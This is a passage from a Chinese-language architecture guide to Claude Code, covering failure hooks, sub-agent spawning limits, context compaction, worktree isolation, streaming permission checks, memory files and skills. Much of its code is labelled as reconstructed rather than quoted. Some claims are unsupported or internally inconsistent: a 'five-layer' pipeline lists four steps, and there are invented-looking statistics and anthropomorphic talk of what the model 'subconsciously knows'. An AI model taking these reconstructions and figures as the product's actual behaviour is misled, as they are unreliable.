系统级闭环 (System Loop):完全不会。由于有了这层“防爆舱”,Claude Code 反而在安全范围内表现出了极大的攻击性和探索性。比如在 Verification Agent 中,模型被鼓励去“尝试破坏系统”。它敢于生成极其刁钻的测试脚本,正是因为它潜意识里知道,任何超出沙盒的越轨行为,都会被 Bash 沙盒死死按住。

第10章:事后溯源与错误自愈

1. 深度解读 (Interpretation)

即使通过了重重安检,工具的执行依然可能在现实世界中失败。在粗糙的 Agent 框架中,工具执行失败后,通常只是把一串血红的错误堆栈(Stack Trace)原样扔回给模型。这不仅会消耗大量的 Token,还会让模型陷入恐慌。模型往往会道歉:“对不起,我错了,我马上重试”,然后换个姿势再次撞墙,直到彻底触发死循环。

Claude Code 在流水线的末端,设置了 PostToolUseFailure Hooks(后置失败钩子)。它的哲学是:不要单纯地抛出错误,要把报错转化为可执行的修复指南。

2. 核心源码直击 (Source Code)
// 逻辑还原:PostToolUseFailure Hooks 的异常捕获与注入
if (error instanceof ENOENT) {
  return {
    type: 'tool_result',
    content: `Error: ENOENT: no such file or directory, open '${file}'.`,
    additionalContext: `[System Hint]: Do not guess the file path again. Use the GlobTool to search for the file in the current directory first.`
  };
}

if (isDependencyError(error)) {
  return {
    type: 'tool_result',
    content: truncateError(error, 500),
    additionalContext: `[System Hint]: A dependency error occurred. Check if there is an nvmrc or package.json engines field before attempting to fix the dependencies.`
  };
}
3. 源码中译与语境还原 (Translation)

当工具抛出异常时,Failure Hook 会捕获错误并注入“私货(additionalContext)”:

  • 当找不到文件(ENOENT)时,系统在报错后追加:“系统提示:不要再瞎猜文件路径了。请先使用 GlobTool 搜索一下。”
  • 当依赖安装失败时,系统不仅截断了超长的错误日志,还追加:“系统提示:发生依赖错误。在尝试修复前,先去检查一下 .nvmrc 或 package.json 里的引擎限制。”
4. 架构隐喻 (Metaphor)
温柔的驾校教练踩下副刹车

想象一个新手司机(大模型)在驾校学车。他一脚油门冲向花坛。粗糙的框架就像一个只会尖叫的乘客:“啊!你撞车了!” 结果司机慌乱之中又踩了一脚油门。而 Claude Code 的 Failure Hooks 就像是一位冷静的驾校教练。他一脚踩下副刹车,转过头对模型说:“你刚才试图换挡,但是离合器没踩到底。现在,深呼吸,先踩死离合,然后再挂二挡。明白了吗?”

6. 拓扑图表 (Topology Chart)
graph TD A["Tool Execution Failed (工具执行失败)"] --> B["Failure Hook (失败钩子捕获)"] B --> C["Truncate Stack Trace (裁剪冗余堆栈)"] B --> D{"Analyze Error Type (分析错误类型)"} D -->|ENOENT| E["Inject GlobTool Hint (注入搜索提示)"] D -->|NPM ERR| F["Inject package.json Hint (注入依赖排查提示)"] C --> G["Combine & Return to Model (合并返回给模型)"] E --> G F --> G style B fill:#ef4444,color:#fff style G fill:#10b981,color:#fff
7. 深度洞察 (Deep Insight)

错误自愈(Self-Healing)的终极闭环: 大模型不具备真实的物理经验,它对系统错误的理解完全依赖文本。通过将常见的 Failure Pattern 转化为预设的 System Hints,架构师实际上是在运行时(Runtime)向模型注入了“专家级的 Debug 经验”。这打破了模型预训练语料的局限性,使得 Claude Code 能够在一个它从未见过的复杂仓库中,凭借这些“路标”一点点摸索出正确的修复路径。

8. 全局检验 (Global Verification)
验证点 (Verification Point):这些 Hint 会打断模型原本的规划思路吗?
系统级闭环 (System Loop):不会。在第一章的系统提示词中,模型已经被明确告知:If an approach fails, diagnose why before switching tactics(如果方法失败,必须先诊断)。这些额外的 System Hint 完美契合了模型已经被植入的“诊断心智”。它看到 Hint,会自然而然地将其吸收到诊断过程中,并在下一个轮次发起更聚焦的尝试(Focused Fix)。

卷三:多智能体与记忆管理 —— 协调器、派生与上下文存活术

第11章:中央集权与子代理派生

1. 深度解读 (Interpretation)

任何一个思维清晰的高级工程师,在面对庞杂的跨模块重构任务时,都不会"一竿子插到底"地亲自修每一行代码。他会先画架构草图、分拆子任务,再把碎片化工作委托给不同方向的协作者——他的核心价值在于战略判断与结果整合,而非亲力亲为。

Claude Code 的 AgentCoordinator 类正是这一思想的工程化落地,它将"中央大脑(Orchestrator)"与"外包执行(Sub-Agents)"彻底解耦。主控节点的上下文始终保持精简,永远不超过几十行高层次摘要;而脏活、累活——批量文件检索、多路径并发探索——全部交由动态派生的子代理完成。这不仅是性能优化,更是大模型注意力物理特性的结构性应对。

2. 核心源码直击 (Source Code)
// 摘自 claude-code-rev/src/services/agent/AgentCoordinator.ts
const MAX_SPAWN_DEPTH = 3; // 硬限制:最大派生深度,防止递归爆炸

export class AgentCoordinator {
  private spawnDepth: number;

  constructor(depth = 0) {
    this.spawnDepth = depth;
    if (this.spawnDepth > MAX_SPAWN_DEPTH) {
      throw new SpawnDepthExceededError(
        `Agent spawn depth ${depth} exceeds limit ${MAX_SPAWN_DEPTH}`
      );
    }
  }

  async delegateTask(task: TaskContext, strategy: DelegationStrategy) {
    if (strategy === 'parallel') {
      // 并行派生:同时召唤 N 个 Explorer 特工,覆盖 N 个子路径
      const explorers = task.subPaths.map(path =>
        this.spawnSubAgent(EXPLORE_AGENT, { path }, this.spawnDepth + 1)
      );
      const reports = await Promise.all(explorers);
      return this.synthesizeReports(reports); // 压缩 N*5000 token -> 几十行摘要
    } else if (strategy === 'sequential') {
      // 串行派生:先规划,再执行,保证依赖顺序
      const plan = await this.spawnSubAgent(PLANNER_AGENT, task, this.spawnDepth + 1);
      return this.spawnSubAgent(EXECUTION_AGENT, plan, this.spawnDepth + 1);
    }
  }
}
3. 源码中译与语境还原 (Translation)

MAX_SPAWN_DEPTH = 3 是整个架构的安全闸门——它决定了代理树的最大深度。构造函数在实例化的第一刻就做深度校验,一旦越界立即抛出 SpawnDepthExceededError,从根本上斩断无限递归的可能。

  • 并行派生(Parallel): 适用于"广度优先"的探索场景。主控将一个大任务拆分为 N 个独立子路径,每个 Explorer 子代理只看自己那一块代码,最终各自的报告被 synthesizeReports 压缩还原成主控能消化的高密度摘要——从 N × 5,000 Token 降维至 ~50 Token
  • 串行派生(Sequential): 适用于有依赖顺序的深度任务。先让 Planner 做架构设计,再把设计文档当作上下文喂给 Execution 节点——每一步只消费前一步的精炼输出,保持链路的信噪比。
4. 架构隐喻 (Metaphor)
全球500强CTO与他的多线作战团队

顶级 CTO 之所以值钱,恰恰在于他不亲自写代码。如果他把自己的时间全消耗在 Debug 某个 CORS 报错上,他的战略大脑就彻底被噪音淹没了。他的工作方式是:把"探测北美市场竞品"委托给调研团队,把"原型开发"委托给工程团队,把"代码审查"委托给资深架构师——他自己只看精炼后的一页 Executive Summary。AgentCoordinator 就是这个 CTO 的数字孪生:它的上下文永远只有最关键的几十行,从不被子任务的执行细节污染,因此能做出全局最优的下一步决策。而 MAX_SPAWN_DEPTH 就是 CTO 铁律中的"汇报层级上限"——超过 3 级汇报链,信息必然失真,直接截断。

6. 拓扑图表 (Topology Chart)
graph TD ROOT["AgentCoordinator
(主控大脑 · 深度=0)"] ROOT -->|"Parallel Strategy
广度探索"| PAR{"Sub-Agents Pool
(外包特工群)"} PAR --> E1["Explorer 1
(深度=1 · /src/api)"] PAR --> E2["Explorer 2
(深度=1 · /src/utils)"] PAR --> EN["Explorer N
(深度=1 · /tests)"] E1 -->|"Summarized Report"| SYNTH["synthesizeReports()
(N×5000 Token → 50 Token)"] E2 -->|"Summarized Report"| SYNTH EN -->|"Summarized Report"| SYNTH SYNTH --> ROOT ROOT -->|"Sequential Strategy
深度执行"| PLAN["Planner Agent
(深度=1 · 架构设计)"] PLAN -->|"Design Doc"| EXEC["Execution Agent
(深度=2 · 编码实现)"] EXEC -->|"Result"| ROOT GUARD["MAX_SPAWN_DEPTH = 3
⛔ 深度超限 → SpawnDepthExceededError"] ROOT -.->|"depth check"| GUARD style ROOT fill:#1e1e2e,color:#cdd6f4,stroke:#89b4fa style PAR fill:#313244,color:#cdd6f4,stroke:#89b4fa style E1 fill:#f9f7f4,stroke:#a89f91 style E2 fill:#f9f7f4,stroke:#a89f91 style EN fill:#f9f7f4,stroke:#a89f91 style SYNTH fill:#e8f4fd,stroke:#3b82f6 style PLAN fill:#f0fdf4,stroke:#22c55e style EXEC fill:#f0fdf4,stroke:#22c55e style GUARD fill:#fff1f2,stroke:#ef4444,color:#dc2626
7. 深度洞察 (Deep Insight)

注意力稀释的物理本质: Transformer 的注意力计算复杂度是 O(n²)——上下文长度翻倍,推理成本平方增长。若将 10 万 Token 的企业代码库塞进单一上下文,模型对"关键边界代码"的有效注意力权重会被海量噪音稀释至近乎零。AgentCoordinator 的派生架构从物理层面对这一问题降维:将 100,000 Token × 1 Agent 的灾难场景,切割为 5,000 Token × 20 Agent 的并行问题——每个子代理的上下文窗口只有整体的 5%,推理精度因此呈几何级提升。这不是工程调优,而是在模型能力边界内的架构物理学

8. 全局检验 (Global Verification)
验证点 (Verification Point):这套派生机制是否存在递归爆炸的死循环风险?系统如何保证收敛?
系统级闭环 (System Loop):AgentCoordinator 的构造函数在实例化时立即检查 spawnDepth,一旦超过 MAX_SPAWN_DEPTH = 3,直接抛出 SpawnDepthExceededError 异常并终止该代理树分支。这一机制是前置守卫(Pre-condition Guard),而非事后补救——任何派生调用在启动前已通过构造函数完成深度校验,从根本上封死了类似"递归爆炸"的 Agent 无限增殖风险,确保代理树的拓扑有界收敛。

第12章:记忆力崩塌与上下文窗口陷阱

1. 深度解读 (Interpretation)

多代理架构听起来很完美,但它面临着大模型领域最可怕的深渊:上下文截断(Context Truncation)。当子代理和主控大脑不断地交换着数万 Token 的报告和代码片段时,原本充裕的上下文窗口(如 200K)会迅速被各种日志、堆栈和废话填满。一旦超出物理限制,大模型就会被迫“切除大脑”——丢失最早的会话记忆,彻底遗忘用户最初的需求。

普通的 Agent 项目通常只做简单的滑动窗口截断,丢掉旧的。但在 Claude Code 中,上下文管理被提升到了“内存管理(Garbage Collection)”的级别。

2. 核心源码直击 (Source Code)
// 摘自 claude-code-rev/src/services/compact/autoCompact.ts
export async function autoCompactContext(session: SessionMemory) {
  const currentTokens = session.getEstimatedTokens();
  if (currentTokens > CRITICAL_THRESHOLD) {
    // 触发五层压缩管线
    const compressor = new ContextCompressor(session);
    await compressor.runPipeline([
      snipHistory,           // 裁剪无关的闲聊历史
      collapseFileReads,     // 折叠过长的大文件读取记录
      summarizeToolCalls,    // 将工具调用的海量日志变成精简摘要
      reactiveMicroCompact   // 在关键决策点进行高维语义压缩
    ]);
  }
}
3. 源码中译与语境还原 (Translation)

这段代码揭示了 Claude Code 隐藏的核心护城河:五层压缩管线。当上下文占用逼近警戒线时,系统不会粗暴地把记忆腰斩,而是启动一个类似 JVM 垃圾回收的清理器。它会依次执行四种不同的手术:

  • 直接剪除那些完全没有信息量的闲聊。
  • 如果一个大文件之前被完全读取过,它会把那段长达万字的响应折叠成一句 [File /src/main.ts loaded]
  • 把繁琐的工具调用报错和重试记录,提炼为 [Tool Execution Failed 3 times, Final State: Recovered]
  • 在最后一步进行高阶的语义信息提炼(见下一章)。
4. 架构隐喻 (Metaphor)
把大象塞进冰箱的压缩艺术

你可以把大模型的 Context Window 想象成一间装满了办公文件的房间。普通的方案是:如果房间满了,就把最旧的那个柜子直接扔出窗外。结果往往是连带着把核心机密也扔了。Claude Code 则是派了一个专业的档案管理员。他把那些没用的草稿纸(冗余日志)扔掉,把太长的书(大文件)换成了一页纸的内容梗概,最后把剩下的核心机密重新排好放进保险箱。房间空出了一半,但所有重要信息都在。

6. 拓扑图表 (Topology Chart)
graph TD A["Context Window Approaching Limit (上下文逼近极限)"] --> B{"ContextCompressor (五层压缩管线)"} B --> C["snipHistory (裁剪无效历史)"] C --> D["collapseFileReads (折叠文件读取记录)"] D --> E["summarizeToolCalls (提炼工具日志)"] E --> F["reactiveMicroCompact (语义高维压缩)"] F --> G["Compacted Context (恢复健康的上下文)"] style A fill:#ef4444,color:#fff style G fill:#10b981,color:#fff style B fill:#f59e0b,color:#fff
7. 深度洞察 (Deep Insight)

信息熵的极致提纯: 这套压缩管线的本质,是在不断提高发送给模型的文本的信息熵密度(Entropy Density)。计算机科学中,源码和日志往往包含大量的冗余字符(Boilerplate)。架构师通过折叠、裁剪和提炼,把原本稀疏的上下文变成了一块纯度极高的铀 235。这意味着即使会话进行了上百轮,模型接收到的每一千个 Token 都是含金量极高的“干货”,从根本上消除了“大模型变笨”的现象。

8. 全局检验 (Global Verification)
验证点 (Verification Point):这种频繁的压缩会导致模型产生幻觉吗?
系统级闭环 (System Loop):不会。因为压缩算法是高度确定性的。特别是像 `collapseFileReads` 这种物理折叠,它保留了文件的完整路径和摘要指针。当模型在后续推理中需要具体的代码行时,它可以基于这个保留的指针,精准地发起一次局部的、小规模的 `FileReadTool` 调用来获取细节,实现了宏观语义与微观代码的完美平衡。

第13章:MicroCompact 语义压缩机

1. 深度解读 (Interpretation)

在五层压缩管线中,前三层(剪裁闲聊、折叠文件、提炼日志)都是确定性的物理操作(Deterministic Trimming)。但当这些物理操作都用尽后,如果上下文还是面临溢出怎么办?此时,Claude Code 动用了真正的杀手锏:MicroCompact 语义压缩机(Reactive Semantic Compression)

这不再是简单地删减字符,而是利用另一个独立的大模型(通常是一个快速的、专注总结的小模型)对整个过往的工作流进行“降维打击”。

2. 核心源码直击 (Source Code)
// 逻辑还原:语义压缩机制
async function reactiveMicroCompact(history: Message[]) {
  // 提取一段复杂的重构尝试历史
  const complexHistory = extractHeavySubtask(history);
  
  // 召唤一个专用的小模型,让它“提纯”这段记忆
  const summary = await callSummarizerModel({
    prompt: `You are an expert summarizer. The following is a log of an agent attempting to refactor a class. 
    Compress this log into a tight, factual summary. Keep all critical file paths, error codes, and decisions made. 
    DISCARD all conversational filler and intermediate failed attempts that were eventually recovered.`
  });

  // 用这段提纯后的高维摘要,替换掉原本占用上万 Token 的原始消息
  return replaceWithSummary(history, summary);
}
3. 源码中译与语境还原 (Translation)

架构师在这里使用了一种“以模制模”的魔法。代码提取出一段极长、极其复杂的对话记录,并调用了一个专注总结的小模型(轻量总结模型)。给这个小模型的 Prompt 是经过精心调校的:“你是一个提纯专家。把这段特工重构代码的日志压紧、压实。保留所有的物理路径、错误码和核心决策。扔掉所有没用的废话和那些已经被修复的中间错误。” 最终,原本冗长的对话被替换成了几句高度浓缩的结论文本。

4. 架构隐喻 (Metaphor)
把《红楼梦》压缩成剧情大纲

人类的自然语言虽然富有表现力,但极度冗长。在长期的重构任务中,Agent 经历了大量的试错和挣扎。MicroCompact 就像是要求一位文学评论家把一百回的《红楼梦》压缩成一页纸的剧情大纲,但必须保留所有的核心人物关系、地点和生死结局。主控大脑不需要阅读林黛玉是怎么哭的,它只需要知道“林黛玉死了”。

6. 拓扑图表 (Topology Chart)
graph LR A["Raw Chat History (上万Token的原始试错日志)"] --> B{"LLM Summarizer (独立的小模型提纯器)"} B -->|Discard Filler & Intermediate Errors| C["Condensed Semantic Facts (高维语义事实)"] C --> D["Replace Original Array (替换进会话数组)"] style A fill:#fca5a5,stroke:#991b1b style C fill:#6ee7b7,stroke:#065f46
7. 深度洞察 (Deep Insight)

认知负荷的卸载(Cognitive Offloading): 在大模型的推理过程中,它不得不分出大量的注意力去阅读和理解之前的长篇大论。这种语义压缩技术,实际上是提前为模型做了一次“认知降维”。那些被扔掉的“中间失败尝试”正是导致大模型产生认知混乱的元凶(因为它往往会混淆成功和失败的代码分支)。提纯后的知识晶体,让模型在面临下一个决策十字路口时,能够以绝对的清醒进行判断。

8. 全局检验 (Global Verification)
验证点 (Verification Point):用小模型去总结大模型的工作日志,会不会丢失关键的技术细节?
系统级闭环 (System Loop):这正是 Prompt 设计的精妙之处。通过强制指令 `Keep all critical file paths, error codes, and decisions made`,系统利用了小模型对指令的强遵循能力,迫使它在进行有损压缩时,像保护命根子一样保护了“锚点信息”。即使丢失了过程,只要锚点还在,大模型随时可以通过工具重新探测到细节。

卷四:上下文的存活术 —— 隔离、流式与跨会话记忆

第14章:Worktree 隔离 —— 平行宇宙里的安全实验

1. 深度解读 (Interpretation)

当 AI Agent 执行代码修改时,一个被严重低估的风险是:工作区污染(Workspace Contamination)。想象一下,你让 Agent 重构一个核心模块,它改到一半发现思路不对想要回退。如果它直接在主分支上操作,此时工作区已经充斥着半成品代码——git stash 可能丢失状态,git checkout 可能冲突,而 git reset --hard 可能误杀其他人正在进行的工作。

Claude Code 用 Git Worktree 提供了一种零成本的物理隔离方案。当你需要一个 Agent 去做探索性的大改动时,系统会在文件系统中创建一个完全独立的工作目录副本——它和主仓库共享 .git 元数据(所以创建几乎是瞬间的),但拥有自己独立的文件树和分支。Agent 可以在这个"平行宇宙"中肆意折腾,主宇宙纹丝不动。

2. 核心源码直击 (Source Code)
// Agent Tool 的 isolation 参数
interface AgentToolParams {
  prompt: string;
  isolation?: "worktree";  // 启用 worktree 隔离
  subagent_type?: string;
}

// EnterWorktree 工具:创建隔离副本
async function enterWorktree(branchName: string) {
  // 1. git worktree add /tmp/worktree-{uuid} -b {branch}
  // 2. 切换 CWD 到新 worktree
  // 3. Agent 的所有文件操作都发生在隔离副本中
  return { worktreePath, branch };
}

// ExitWorktree:清理或保留
async function exitWorktree(worktree: WorktreeContext) {
  if (worktree.hasChanges) {
    // 有改动:保留 worktree,返回路径和分支名
    return { path: worktree.path, branch: worktree.branch };
  } else {
    // 无改动:自动清理
    exec(`git worktree remove ${worktree.path}`);
  }
}
3. 源码中译与语境还原 (Translation)

Worktree 隔离的生命周期分三步:

  • 进入(Enter): 系统执行 git worktree add,在临时目录创建一个完整的文件树副本,并自动切换到新分支。由于共享 .git 对象数据库,即使是百万行的仓库,创建时间也在秒级。
  • 工作(Work): Agent 的所有 Read/Edit/Write/Bash 操作都被重定向到 worktree 路径。主仓库的文件完全不受影响。
  • 退出(Exit): 如果 Agent 做了有价值的修改,worktree 和分支被保留,用户可以后续 review 和 merge。如果什么都没改,worktree 被自动清理,不留垃圾。
4. 架构隐喻 (Metaphor)
外科手术前的模拟人体

医学院在让实习生做真正的手术之前,会先让他们在模拟人体上反复练习。Worktree 就是代码世界的模拟人体——它看起来和真实病人一模一样(完整的文件结构和 git 历史),但你在上面怎么"开刀"都不会伤害到真实的病人。如果手术方案验证成功,你只需要把手术记录(git diff)移植到真正的病人身上。如果方案失败,把模拟人体扔掉就好——零代价。

6. 拓扑图表 (Topology Chart)
graph TD A["Agent Tool
(isolation: worktree)"] --> B["git worktree add
(创建隔离副本)"] B --> C["Agent 在副本中工作
(Read/Edit/Write/Bash)"] C --> D{"有改动?"} D -->|Yes| E["保留 worktree + 分支
(用户后续 merge)"] D -->|No| F["自动清理
(git worktree remove)"] style A fill:#000,color:#fff style E fill:#10b981,color:#fff style F fill:#f1f5f9,stroke:#94a3b8
7. 深度洞察 (Deep Insight)

隔离的成本梯度: 在安全工程中,隔离总是有代价的。Docker 容器需要几秒启动和几百 MB 磁盘;虚拟机需要几十秒和几 GB。而 Git Worktree 的隔离成本几乎为零——它只创建新的文件树,对象数据库是共享的硬链接。这意味着你可以毫无心理负担地对每一个探索性子任务启用隔离。在 Agent 的世界里,"不确定就隔离"应该成为默认策略,而不是保守的例外。

8. 全局检验 (Global Verification)
验证点 (Verification Point):Worktree 隔离和第5章的身份分片有什么关系?
系统级闭环 (System Loop):完美互补。身份分片在"工具层"做隔离(Explore Agent 没有 Edit 工具),Worktree 在"文件系统层"做隔离(Agent 操作完全不同的目录树)。两者叠加形成双保险:即使一个被赋予了 Edit 能力的 Agent 在 worktree 里犯了致命错误,主仓库依然安然无恙。这种纵深防御的成本?几乎为零。

第15章:流式渲染与重叠执行 —— 打字机背后的并行引擎

1. 深度解读 (Interpretation)

当你在终端中看到 Claude Code 一个字一个字地"打字"时,背后发生的远不止文本渲染。大语言模型的输出是流式的(Streaming)——它不是一次性吐出完整的回答,而是一个 Token 一个 Token 地生成。这个特性被架构师利用到了极致。

在传统的同步 Agent 中,执行流程是串行的:等模型输出完毕 → 解析工具调用 → 执行工具 → 等结果 → 再发给模型。每一步之间都有等待空隙。而 Claude Code 实现了流式重叠执行(Streaming Overlap Execution):模型还在吐字的时候,前一个工具调用的参数解析和校验已经在内存中悄然完成了。

2. 核心源码直击 (Source Code)
// 流式工具执行的核心模式:AsyncGenerator
export async function* streamedCheckPermissionsAndCallTool(
  toolUse: ToolUseBlock,
  tool: Tool,
  context: ToolUseContext
): AsyncGenerator<ToolUpdate> {

  // 阶段1:流入的同时进行 Zod 校验(零等待)
  const parsed = tool.inputSchema.safeParse(toolUse.input);
  if (!parsed.success) {
    yield { type: 'error', message: formatZodError(parsed.error) };
    return;
  }

  // 阶段2:Hook 拦截(与渲染并行)
  for await (const hookResult of runPreToolUseHooks(context, tool, parsed.data)) {
    yield hookResult;
    if (hookResult.type === 'stop') return;
  }

  // 阶段3:真正的底层执行
  const result = await tool.call(parsed.data, context);
  yield { type: 'result', data: result };
}
3. 源码中译与语境还原 (Translation)

这段代码的关键在于 async function*(异步生成器)模式。每一个 yield 都是一次中间状态的"推送"。这意味着:

  • 阶段1(Zod 校验)在模型输出完 JSON 参数的瞬间就开始了——不需要等整个回复结束。
  • 阶段2(Hook 拦截)同样是流式的——每个 Hook 产生的结果(允许/拒绝/篡改)都会立刻通过 yield 推送给上层,上层可以实时渲染权限确认弹窗。
  • 阶段3(实际执行)只有在前两个阶段全部通过后才会触发。

从用户视角看:模型在"打字"的同时,安全校验已经在后台悄悄完成了。当模型输出最后一个字符时,工具执行几乎可以瞬间启动。

4. 架构隐喻 (Metaphor)
流水线上的三个工位

想象一条汽车总装流水线。在传统模式下,工位1(底盘焊接)必须完全结束,工位2(发动机安装)才能开始。而流式重叠执行就像丰田的精益生产线:工位1焊好底盘的前半段时,工位2已经开始在后半段安装发动机了。三个工位(解析、校验、执行)在时间轴上高度重叠,空闲时间几乎被压缩到零。用户感知到的不是"等待 → 爆发",而是"持续流动"。

6. 拓扑图表 (Topology Chart)
sequenceDiagram participant M as LLM 模型 participant P as 参数解析器 participant H as Hook 系统 participant T as 工具执行层 M->>P: Token 流入(边生成边解析) P->>H: 校验通过,立即进入 Hook H->>H: PreToolUse 拦截/篡改 H->>T: 放行,触发 tool.call() T->>M: 结果流回(yield) Note over M,T: 全程流式,无阻塞等待
7. 深度洞察 (Deep Insight)

感知延迟 vs 实际延迟: 用户体验中有一个经典法则——人类对"进度可见的等待"的容忍度是"黑屏等待"的 5-10 倍。流式渲染让用户在等待工具执行结果的同时,已经看到了模型的推理过程和下一步计划。更妙的是,这不仅仅是 UI 上的障眼法:由于 Zod 校验和 Hook 拦截确实在流式阶段完成了,实际的端到端延迟也被压缩了。这是一个罕见的"既好看又真快"的架构设计。

8. 全局检验 (Global Verification)
验证点 (Verification Point):流式执行会不会导致权限弹窗来不及拦截?
系统级闭环 (System Loop):不会。注意 yield 的位置——Hook 系统在工具实际执行之前就会 yield 出权限判定结果。如果某个 Hook 返回 ask,上层会立刻暂停流式管线并弹出权限确认。只有人类点击"允许"后,管线才会继续到阶段3。流式是优化,不是跳过安全检查。

第16章:Scratchpad 持久记忆 —— 跨会话的知识晶体

1. 深度解读 (Interpretation)

大语言模型有一个致命的先天缺陷:每次会话都是从零开始。 你昨天花了两个小时和 Agent 一起调通的 API 对接方案,今天开一个新会话,它全忘了。它不知道你的项目用了哪个数据库,不知道你上周做了什么决策,不知道你踩过哪些坑。

为了解决这个问题,Claude Code 引入了一套文件系统原生的持久记忆机制。核心思想极其朴素:既然模型擅长读写文件,那就把记忆写成文件。CLAUDE.md 是项目级的"操作手册",memory/ 目录是个人级的"记忆银行",Scratchpad 是任务内的"草稿纸"。三者构成了从长期到短期的完整记忆光谱。

2. 核心源码直击 (Source Code)
// CLAUDE.md 加载机制(会话启动时自动注入)
function loadProjectInstructions(projectDir: string): string[] {
  const sources = [
    path.join(os.homedir(), 'CLAUDE.md'),        // 全局级
    path.join(projectDir, 'CLAUDE.md'),           // 项目级
    path.join(os.homedir(), '.claude/CLAUDE.md'),  // 用户级
  ];
  return sources
    .filter(fs.existsSync)
    .map(f => fs.readFileSync(f, 'utf-8'));
}

// Scratchpad(实验性功能)
if (context.enabledFeatures.includes('tengu_scratch')) {
  guidance.push(
    `Scratchpad is enabled at ${context.scratchpadDir}.`,
    `Use it for durable notes that persist across conversations.`
  );
}

// Memory 系统:自动读取 MEMORY.md 索引
// 每个记忆是一个独立的 .md 文件,MEMORY.md 是索引
// 模型通过 Read 工具按需加载具体记忆
3. 源码中译与语境还原 (Translation)

持久记忆的三层架构:

  • CLAUDE.md(长期记忆/宪法): 三级加载——全局级(用户所有项目共享)、项目级(跟随仓库)、用户级(个人偏好)。会话启动时自动注入 system prompt,模型从第一个 Token 就"知道"项目的规矩。
  • Scratchpad(工作记忆/草稿纸): 一个特殊的目录,模型可以在里面自由读写笔记。这些笔记跨会话持久存在——今天写的调试线索,明天的新会话仍然可以读到。
  • Memory 系统(情节记忆/日记): MEMORY.md 是索引文件(前 200 行自动加载),每条记忆指向一个独立的 .md 文件。模型通过 "index → drill down" 的方式按需获取详细记忆,而不是一次性加载全部。
4. 架构隐喻 (Metaphor)
侦探墙上的案件板

每个优秀的侦探办公室里都有一面墙,上面钉满了案件线索、嫌疑人照片和时间线。CLAUDE.md 就是这面墙上永远不摘的"办案守则"(永远遵守的规矩)。Memory 是按日期归档的"案卷"(每个案子一个文件夹)。Scratchpad 是侦探桌上的便签纸(随手记的灵感和线索)。当侦探(Agent)第二天回到办公室开始新的一天时,他不需要别人复述昨天的进展——抬头看看墙,翻翻案卷,一切都在。

6. 拓扑图表 (Topology Chart)
graph TD A["会话启动"] --> B["自动加载 CLAUDE.md
(三级: 全局/项目/用户)"] A --> C["自动加载 MEMORY.md
(索引, 前200行)"] B --> D["System Prompt
(Agent 从第一个 Token 就知道规矩)"] C --> D D --> E["任务执行中"] E -->|"记录发现"| F["写入 Scratchpad
(跨会话持久)"] E -->|"重要决策"| G["写入 memory/*.md
(更新 MEMORY.md 索引)"] F --> H["下次会话
(自动可用)"] G --> H style D fill:#000,color:#fff style H fill:#10b981,color:#fff
7. 深度洞察 (Deep Insight)

文件系统原生 > RAG 向量检索: 很多 Agent 框架选择用向量数据库(RAG)来实现记忆。但 Claude Code 的实践证明了一个反直觉的结论:对于 Agent 来说,文件系统就是最好的记忆数据库。 原因有三:(1) Agent 天生擅长导航目录结构和跟踪交叉引用;(2) 文件系统提供了完整的上下文(Agent 可以读取整个文件,而不是被 RAG 截成的碎片);(3) 零基础设施依赖——不需要嵌入模型、向量数据库或检索管线。直到文件系统原生检索被证明不够用之前,不要投资 RAG。

8. 全局检验 (Global Verification)
验证点 (Verification Point):记忆文件会不会越积越多,最终撑爆上下文?
系统级闭环 (System Loop):不会。MEMORY.md 索引被限制在 200 行以内(超出部分截断)。每条索引只是一行指针(标题 + 文件路径),不包含实际内容。模型只在需要时通过 Read 工具加载具体记忆文件。这正是第12章所述的"渐进披露"原则在记忆层的落地——索引是 T0 层(始终加载),详细内容是 T2 层(按需加载)。两层分离确保了记忆无限增长而上下文始终可控。

卷五:扩展生态 —— Skill、MCP 与工具的无限延伸

第17章:Skill 封装协议 —— 把经验固化为基因

1. 深度解读 (Interpretation)

在没有 Skill 系统之前,用户的专业知识只能通过两种方式传递给 Agent:要么写进 CLAUDE.md(一次性加载,撑爆上下文),要么每次对话手动复述(繁琐且不一致)。这就好比一个公司的核心流程全靠口口相传——老员工一走,经验就消失了。

Claude Code 的 Skill 系统解决了这个问题。每个 Skill 是一个独立的文件夹,包含一个 SKILL.md 主文件(告诉 Agent"什么时候用、怎么用、哪些坑要避"),可选的 references/ 目录(详细的 API 文档、模板等),以及 scripts/ 目录(辅助脚本)。Skill 不在会话启动时全量加载——它通过 description 字段被"触发",只在需要时才被读入上下文。

2. 核心源码直击 (Source Code)
// Skill 目录结构
.claude/skills/
  deploy-to-production/
    SKILL.md              // 主文件:触发条件 + 使用规则 + Gotchas
    references/
      api-docs.md         // 详细 API 参考(按需读取)
    scripts/
      validate-env.sh     // 辅助脚本

// SKILL.md 结构示例
---
description: "Use when: deploying to production, running release pipeline.
  Trigger: deploy, release, ship, 上线.
  NOT for: local dev server, staging."
---

# Deploy to Production

## Steps
1. Run pre-flight checks...
2. Build production bundle...

## Gotchas
- NEVER skip the database migration check
- CloudFront cache invalidation takes 5-15 min
- Why: Last time we skipped migration, prod was down 2h
3. 源码中译与语境还原 (Translation)

Skill 的设计哲学有三个核心原则:

  • Description = 触发条件,不是功能摘要: description 字段告诉模型"什么情况下应该使用这个 Skill",而不是"这个 Skill 能做什么"。这个区别至关重要——功能摘要会导致 23% 的 Skill 永远不被触发(因为模型不知道什么时候该用它)。
  • Gotchas 是最高价值内容: Gotchas 部分记录的是"真实踩过的坑",不是假设性的风险。每一条 Gotcha 都应该附带 Why(为什么这是坑)——这让模型能举一反三,而不是机械地执行规则。
  • 文件夹不是文件: Skill 是一个文件夹,不是一个巨大的 Markdown。SKILL.md 告诉模型"这些参考文件存在",模型按需 Read——这就是渐进披露在 Skill 层的落地。
4. 架构隐喻 (Metaphor)
武术流派的秘籍

每个 Skill 就像一本武术秘籍。秘籍封面写着"适用场景"(description)——"遇到力大招沉的对手时使用此招"。翻开第一页是招式要领(Steps)。最后几页是历代弟子的血泪教训(Gotchas)——"出招时切记不可后仰,师叔就是后仰摔断了腰"。Agent 不需要把所有秘籍背在身上——它只需要知道武馆里有哪些秘籍(description 索引),遇到对应场景时再去翻开具体那本。

6. 拓扑图表 (Topology Chart)
graph TD A["用户输入
'部署到生产环境'"] --> B{"Skill 路由器
(description 匹配)"} B -->|"Match: deploy-to-production"| C["加载 SKILL.md
(触发条件 + 步骤 + Gotchas)"] C --> D["Agent 执行 Skill 步骤"] D -->|"需要 API 细节"| E["Read references/api-docs.md
(渐进披露)"] D -->|"需要脚本"| F["Bash scripts/validate-env.sh
(辅助执行)"] B -->|"No Match"| G["直接执行
